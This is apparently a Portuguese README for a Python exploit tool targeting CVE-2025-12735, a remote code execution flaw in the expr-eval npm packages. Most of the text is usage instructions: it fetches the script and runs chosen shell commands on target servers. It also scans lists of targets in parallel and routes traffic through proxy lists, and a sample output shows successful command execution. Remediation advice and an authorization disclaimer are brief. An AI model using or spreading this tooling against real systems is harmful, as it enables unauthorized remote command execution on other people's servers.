
Ferramenta de pesquisa de segurança para detectar e testar CVE-2025-12735 (vulnerabilidade de RCE no expr-eval)
Uma ferramenta de pesquisa de segurança para detectar e testar a vulnerabilidade CVE-2025-12735 nos pacotes npm expr-eval e expr-eval-fork.
Esta ferramenta é destinada apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Utilize esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito.
CVE-2025-12735 é uma vulnerabilidade crítica de Execução Remota de Código nos pacotes npm expr-eval e expr-eval-fork. Esta vulnerabilidade permite que atacantes definam funções arbitrárias dentro do objeto context usado pelo parser, possibilitando a injeção de código malicioso que executa comandos a nível de sistema.
Pontuação CVSS: 9.8 (Crítico)
Versões Afetadas: expr-eval-fork < 3.0.0
Versão Corrigida: expr-eval-fork v3.0.0+
# Clone o repositório
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Instale as dependências
pip install -r requirements.txt
# Torne o script executável (opcional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Baixe o script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Instale as dependências
pip install requests
# Alvo único
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Executar comando personalizado
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Múltiplos alvos a partir de arquivo
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# Com threading para varredura mais rápida
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Saída detalhada para depuração
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Proxy único
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Múltiplos proxies a partir de arquivo
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url URL do alvo
-f, --file Arquivo contendo URLs alvo (uma por linha)
-c, --command Comando a executar (padrão: id)
-t, --threads Número de threads (padrão: 1)
-o, --output Arquivo de saída (padrão: uknf_expr_eval_results.json)
-v, --verbose Ativar log detalhado
--proxy URL do proxy (ex.: http://127.0.0.1:8080)
--proxy-list Arquivo contendo URLs de proxy (uma por linha)
O script gera um arquivo JSON com resultados detalhados:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Se você está usando expr-eval ou expr-eval-fork:
Atualize imediatamente:
npm install expr-eval-fork@latest
Aplique o patch de segurança:
Implemente validação de entrada:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Crie o arquivo de alvos
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Execute a varredura
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Proxy único
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Múltiplos proxies a partir de arquivo
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request.
git checkout -b feature/MinhaFuncionalidadeIncrivel)git commit -m 'Adiciona alguma funcionalidade incrível')git push origin feature/MinhaFuncionalidadeIncrivel)Se você encontrar algum problema ou tiver sugestões, por favor abra uma issue no GitHub.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para detalhes.
Se você achar esta ferramenta útil, por favor considere dar uma estrela no GitHub!
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este programa. Os usuários são responsáveis por garantir que possuem autorização adequada antes de testar qualquer sistema.
Se você achar esta ferramenta útil e gostaria de apoiar o projeto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Obrigado pelo seu apoio! 🙏